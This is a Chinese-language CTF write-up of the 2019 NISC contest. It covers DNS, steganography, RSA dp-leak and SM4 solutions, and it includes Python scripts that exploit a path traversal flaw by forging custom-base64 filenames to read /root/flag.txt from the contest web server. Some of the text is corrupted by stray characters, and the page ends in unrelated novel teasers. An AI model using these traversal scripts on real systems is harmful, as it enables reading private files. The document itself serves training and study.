網(wǎng)絡(luò)與信息安全專項(xiàng)賽復(fù)盤(pán)

比賽時(shí)間:8月15日9:30-8月15日19:00
比賽網(wǎng)站:https://race.ichunqiu.com/nisc2019

MISC

簽到題

  • 題目描述


  • 解題步驟
    dig 命令主要用來(lái)從 DNS 域名服務(wù)器查詢主機(jī)地址信息享潜。
    dig txt gamectf.com
    gamectf.com. 600 IN TXT "flag{welcome_TXT}"

七代目

  • 題目描述
  • 解題步驟
  1. 修復(fù)文件頭GIF8
  1. 查看每一幀的時(shí)間:
  1. 序號(hào)為6的幀只有1,保存下來(lái)切換一下通道:

亞薩西

  • 題目描述
  • 解題步驟
  1. 下載winrar打開(kāi)提示是損壞的zip?件

使用7zip或者bandlize打開(kāi)壓縮包提示需要輸入密碼

  1. winhex打開(kāi)嗅蔬,發(fā)現(xiàn)可疑密碼字符

得到密碼是loli剑按,解壓得到圖片

  1. winhex打開(kāi)發(fā)現(xiàn)有0ok!編碼澜术,在線解碼得到flag

24word

  • 題目描述
  • 解題步驟
  1. 解壓得到圖片艺蝴,進(jìn)行社會(huì)主義核心價(jià)值觀解碼得到:CodeValues
  1. binwalk看下圖片發(fā)現(xiàn)壓縮包,修改后綴為zip鸟废,密碼CodeValues解碼得到圖片
  1. 掃描二維碼得到flag

Crypto

dp

  • 題目描述
  • 解題步驟
import gmpy2
import libnum
e = 65537
n = 9637571466652899741848142654451413405801976834328667418509217149503238513830870985353918314633160277580591819016181785300521866901536670666234046521697590230079161867282389124998093526637796571100147052430445089605759722456767679930869250538932528092292071024877213105462554819256136145385237821098127348787416199401770954567019811050508888349297579329222552491826770225583983899834347983888473219771888063393354348613119521862989609112706536794212028369088219375364362615622092005578099889045473175051574207130932430162265994221914833343534531743589037146933738549770365029230545884239551015472122598634133661853901
dp = 81339405704902517676022188908547543689627829453799865550091494842725439570571310071337729038516525539158092247771184675844795891671744082925462138427070614848951224652874430072917346702280925974595608822751382808802457160317381440319175601623719969138918927272712366710634393379149593082774688540571485214097
c = 5971372776574706905158546698157178098706187597204981662036310534369575915776950962893790809274833462545672702278129839887482283641996814437707885716134279091994238891294614019371247451378504745748882207694219990495603397913371579808848136183106703158532870472345648247817132700604598385677497138485776569096958910782582696229046024695529762572289705021673895852985396416704278321332667281973074372362761992335826576550161390158761314769544548809326036026461123102509831887999493584436939086255411387879202594399181211724444617225689922628790388129032022982596393215038044861544602046137258904612792518629229736324827

def n2s(n):
    """
    Number to string.
    """
    s = hex(n)[2:]
    if len(s) % 2 != 0:
        s = "0" + s
    return str(s.decode('hex'))

for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)/i)+1)==0:
            p=((dp*e-1)/i)+1
            q=n/(((dp*e-1)/i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            print n2s(pow(c,d,n))

參考資料
https://zhuanlan.zhihu.com/p/43033684

  • 解題步驟

sm4

  • 題目描述
# -*- coding: utf-8 -*-
from pysm4 import encrypt, decrypt
import binascii

def dec_hex(str1):
    a = str(hex(str1))
    b = a.replace("0x", '')
    return b.zfill(2)

def hex_str(dic):
    hexstr = "0x"
    for i in dic:
        hexstr = hexstr + dec_hex(i)
    return hexstr


if __name__ == '__main__':
    key = [13, 204, 99, 177, 254, 41, 198, 163, 201, 226, 56, 214, 192, 194, 98, 104]
    c1 = [46, 48, 220, 156, 184, 218, 57, 13, 246, 91, 1, 63, 60, 67, 105, 64]
    c2 = [149, 240, 217, 77, 107, 49, 222, 61, 155, 225, 231, 196, 167, 121, 9, 16]
    c3 = [60, 182, 65, 101, 39, 253, 250, 224, 9, 204, 154, 122, 206, 43, 97, 59]
    keyStr = hex_str(key)
    c1_str = hex_str(c1)
    c2_str = hex_str(c2)
    c3_str = hex_str(c3)
    # print hex(decrypt(0x2e30dc9cb8da390df65b013f3c436940,0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
    # print hex(decrypt(0x95f0d94d6b31de3d9be1e7c4a7790910, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
    # print hex(decrypt(0x3cb6416527fdfae009cc9a7ace2b613b, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
    c_str = hex(decrypt(0x2e30dc9cb8da390df65b013f3c436940,0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1] + hex(decrypt(0x95f0d94d6b31de3d9be1e7c4a7790910, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1] + hex(decrypt(0x3cb6416527fdfae009cc9a7ace2b613b, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
    print c_str
    print binascii.a2b_hex(c_str)

## SM4:  flag{1caa96be-4266-4a8e-bd2c-ece977495497}

WEB

from urllib.parse import unquote,quote

import requests
import base64
import re
import string
import random

s = requests.sessions()
url = "http://127.0.0.1:8999"
new_dict = {}

def get_b_name():
    test_name = ''.join(random.sample(string.ascii_letters + string.digits,50))
    #  join() 方法用于將序列中的元素以指定的字符連接生成一個(gè)新的字符串
    #  random.sample(seq, n) 從序列seq中選擇n個(gè)隨機(jī)且獨(dú)立的元素
    #  string模塊ascii_letters和digits方法猜敢,其中ascii_letters是生成所有字母,從a-z和A-Z,digits是生成所有數(shù)字0-9
    #  最后生成的字符串是從"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"隨機(jī)截取50個(gè)元素
    o_file_name = test_name + '.jpg'
    origin = base64.b64encode(str.encode(o_file_name))
    origin = bytes.decode(origin)
    # bytes.decode() 方法以指定的編碼格式解碼 bytes 對(duì)象。默認(rèn)編碼為 'utf-8'
    upload_url = url + "/upload.php"
    with open('test.jpg','rb') as file:
        files = {'file':(o_file_name,file)}
        requese = requests.post(upload_url,files=files)
        text = requese.text
        file_name = re.search(r'"img.php\?name=(.+?)"',text).group(1)
        file_name = unquote(file_name)
    return origin,file_name

def make_dict(origin,file_name):
    num = 0
    for i in origin:
        # print(i,file_name[num])
        new_dict[i] = file_name[num]
        num += 1

if __name__ == '__main__':
    length = len(new_dict)
    for i in  range(15):
        origin, file_name = get_b_name()
        make_dict(origin, file_name)
        length = len(new_dict)
    res = []
    flag = bytes.decode(base64.b64decode(b'../../../../../root/flag.txt'))
    for f in flag:
        if f == '=':
            res.append('=')
        else:
            res.append(new_dict[f])
        payload = ''.join(res)
        print(quote(payload))
import string
import requests as req
import base64
import urllib
·
z = {'0': 'Y', '2': 'P', '4': 'y', '6': 'e', '8': 'v', 'B': 'z', 'D': 'N', 'F': 't', 'H': 'x', 'J': 'U', 'L': 'X', 'N': 'F', 'P': 'V', 'R': 'q', 'T': 'a', 'V': 'l', 'X': 'm', 'Z': 'S', 'b': '4', 'd': 'B', 'f': 'h', 'h': '5', 'j': 'c', 'l': 'M', 'n': '9', 'p': 'w', 'r': '1', 't': '8', 'v': 'o', 'x': 'i', 'z': 'K',
     '+': 'u', '/': 'A', '1': '0', '3': 'C', '5': 'T', '7': 'I', '9': 'k', 'A': 'b', 'C': 'J', 'G': '7', 'I': 'f', 'K': '6', 'M': 'Z', 'O': '2', 'Q': '+', 'S': 'd', 'U': '3', 'W': 'R', 'Y': 'W', 'a': 'L', 'c': 'r', 'e': 'g', 'g': 'n', 'i': 'E', 'k': 'j', 'm': 'G', 'o': 'H', 'q': 'Q', 's': 'p', 'u': 's', 'w': 'O', 'y': 'D', 'E': '\\'}

b64table = string.maketrans(
    ''.join(z.keys()), ''.join([z[k] for k in z.keys()]))


b64table2 = string.maketrans(
    ''.join([z[k] for k in z.keys()]), ''.join(z.keys()))
URL = 'http://3fc6a707471d4c83959773ac33db4ec348f07f0fa23e4e15.changame.ichunqiu.com/img.php?name={}'

def get(pl):
    pl = base64.b64encode(pl)
    print "[+] Normal Base64 :", pl
    pl = pl.translate(b64table2)
    # translate() 方法根據(jù)參數(shù)table給出的表(包含 256 個(gè)字符)轉(zhuǎn)換字符串的字符, 要過(guò)濾掉的字符放到 del 參數(shù)中
    print "[+] Encode Base64 :", pl
    pl = urllib.quote(pl)
    res = req.get(URL.format(pl))
    print(res.content)

def test(pl):
    pl = pl.translate(b64table)
    pl = base64.b64decode(pl)
    print pl

if __name__ == '__main__':
    get("../../../../../../proc/self/cwd/templates/upload.html")
    get("../../../../../../root/flag.txt")

參考資料:爆破非默認(rèn)Base64編碼表

爆破Base64總結(jié):把\x00\x10\x83\x10\x51\x87\x20\x92\x8B\x30\xD3\x8F\x41\x14\x93\x51\x55\x97\x61\x96\x9B\x71\xD7\x9F\x82\x18\xA3\x92\x59\xA7\xA2\x9A\xAB\xB2\xDB\xAF\xC3\x1C\xB3\xD3\x5D\xB7\xE3\x9E\xBB\xF3\xDF\xBF這個(gè)作為輸入缩擂,輸出就是base64table

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末鼠冕,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子胯盯,更是在濱河造成了極大的恐慌懈费,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,036評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件博脑,死亡現(xiàn)場(chǎng)離奇詭異憎乙,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)叉趣,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,046評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén)泞边,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人疗杉,你說(shuō)我怎么就攤上這事繁堡。” “怎么了乡数?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,411評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)闻牡。 經(jīng)常有香客問(wèn)我净赴,道長(zhǎng),這世上最難降的妖魔是什么罩润? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,622評(píng)論 1 293
  • 正文 為了忘掉前任玖翅,我火速辦了婚禮,結(jié)果婚禮上割以,老公的妹妹穿的比我還像新娘金度。我一直安慰自己,他們只是感情好严沥,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,661評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布猜极。 她就那樣靜靜地躺著,像睡著了一般消玄。 火紅的嫁衣襯著肌膚如雪跟伏。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,521評(píng)論 1 304
  • 那天翩瓜,我揣著相機(jī)與錄音受扳,去河邊找鬼。 笑死兔跌,一個(gè)胖子當(dāng)著我的面吹牛勘高,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 40,288評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼华望,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼蕊蝗!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起立美,我...
    開(kāi)封第一講書(shū)人閱讀 39,200評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤匿又,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后建蹄,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體碌更,經(jīng)...
    沈念sama閱讀 45,644評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,837評(píng)論 3 336
  • 正文 我和宋清朗相戀三年洞慎,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了痛单。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,953評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡劲腿,死狀恐怖旭绒,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情焦人,我是刑警寧澤挥吵,帶...
    沈念sama閱讀 35,673評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站花椭,受9級(jí)特大地震影響忽匈,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜矿辽,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,281評(píng)論 3 329
  • 文/蒙蒙 一丹允、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧袋倔,春花似錦雕蔽、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,889評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至碳默,卻和暖如春贾陷,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背嘱根。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,011評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工髓废, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人该抒。 一個(gè)月前我還...
    沈念sama閱讀 48,119評(píng)論 3 370
  • 正文 我出身青樓慌洪,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子冈爹,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,901評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容